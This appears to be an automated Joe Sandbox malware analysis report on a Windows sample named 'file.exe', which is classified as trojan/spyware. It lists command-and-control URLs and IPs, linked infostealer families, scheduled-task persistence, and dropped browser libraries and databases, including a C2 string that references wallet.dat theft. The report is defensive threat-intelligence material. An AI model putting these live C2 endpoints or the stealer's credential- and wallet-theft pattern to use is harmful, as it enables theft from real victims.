http://185.215.113.206c4becf79229cb002.phpd2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8Kn	file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll9n	file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpO	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	EBFBFBFIIJDAKECAKKJEHCFIJK.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697249380.00000000008C4000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/;p	file.exe, 00000000.00000003.2452457713.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpes;C:	file.exe, 00000000.00000002.2705701503.000000000BCCE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2317134710.0000000001624000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCA.0.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2705701503.000000000BC51000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2699197714.0000000001607000.00000004.00000020.00020000.00000000.sdmp, HIJEGDBGDBFIJKECBAKF.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571822
Start date and time:	2024-12-09 18:19:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/51@6/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 64.233.162.84, 172.217.17.46, 172.217.21.35, 172.217.21.42, 172.217.19.10, 172.217.19.234, 142.250.181.42, 142.250.181.74, 142.250.181.106, 142.250.181.138, 172.217.17.74, 172.217.17.42, 172.217.19.202, 192.229.221.95, 142.250.181.10, 216.58.208.234, 199.232.214.172, 13.107.246.63, 23.218.208.109, 20.109.210.53
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:20:28	API Interceptor	288x Sleep call for process: file.exe modified
12:22:01	API Interceptor	32x Sleep call for process: skotes.exe modified
18:20:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.16/off/def.exe
	BE75UCHY3H.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	l6SLjhPkk5.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/well/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	https://uhu145fc.s3.amazonaws.com/bf63.html?B3E2629E-DF5B-2F28-7322FD910FB23F54	Get hash	malicious	Phisher	Browse	172.217.19.206
	https://sites.google.com/view/messageimportant09122024/accueil	Get hash	malicious	Unknown	Browse	142.250.105.102
	https://sites.google.com/view/messageimportant09122024/accueil	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, CredGrabber, LummaC Stealer, Meduza Stealer, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=71STY9b6g0G2TUGL0emS8wWPU1E0zmFNnR9SsYf1SC9UREdRTE8xR1FQUFdYSk5WRlZXQ0ZJSlg4NS4u	Get hash	malicious	HTMLPhisher	Browse	172.217.19.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.16
	BE75UCHY3H.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	l6SLjhPkk5.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	6R0yrvM8Hk.exe	Get hash	malicious	Xmrig	Browse	185.215.113.217
	rjqtuf6Y14.exe	Get hash	malicious	Unknown	Browse	185.215.113.19
	rjqtuf6Y14.exe	Get hash	malicious	Unknown	Browse	185.215.113.19
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.16
	BE75UCHY3H.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	l6SLjhPkk5.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	6R0yrvM8Hk.exe	Get hash	malicious	Xmrig	Browse	185.215.113.217
	rjqtuf6Y14.exe	Get hash	malicious	Unknown	Browse	185.215.113.19
	rjqtuf6Y14.exe	Get hash	malicious	Unknown	Browse	185.215.113.19
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	sk0lV4Ccen.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.16
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.16
	BE75UCHY3H.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	l6SLjhPkk5.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	6R0yrvM8Hk.exe	Get hash	malicious	Xmrig	Browse	185.215.113.217
	rjqtuf6Y14.exe	Get hash	malicious	Unknown	Browse	185.215.113.19
	rjqtuf6Y14.exe	Get hash	malicious	Unknown	Browse	185.215.113.19

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	node-v22.12.0-x64.msi	Get hash	malicious	Unknown	Browse	20.198.118.190
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	20.198.118.190
	Marsha Rowland Signature Required.pdf	Get hash	malicious	Unknown	Browse	20.198.118.190
	Rfq_po_december_purchase_list_details_specifications_09_12_2024_0000000000.vbs	Get hash	malicious	Unknown	Browse	20.198.118.190
	lLNOwu1HG4.js	Get hash	malicious	RHADAMANTHYS	Browse	20.198.118.190
	run.cmd	Get hash	malicious	Unknown	Browse	20.198.118.190
	zW72x5d91l.bat	Get hash	malicious	Unknown	Browse	20.198.118.190
	iVH355vnza.vbs	Get hash	malicious	Unknown	Browse	20.198.118.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.118.190
	http://www.thehorizondispatch.com	Get hash	malicious	Unknown	Browse	20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGIJDGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBFBFBFIIJDAKECAKKJEHCFIJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIJEGDBGDBFIJKECBAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGIJEGHDAECAKECAFCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEHCFIDHIDGIDHJEHIDAECFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAFBKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
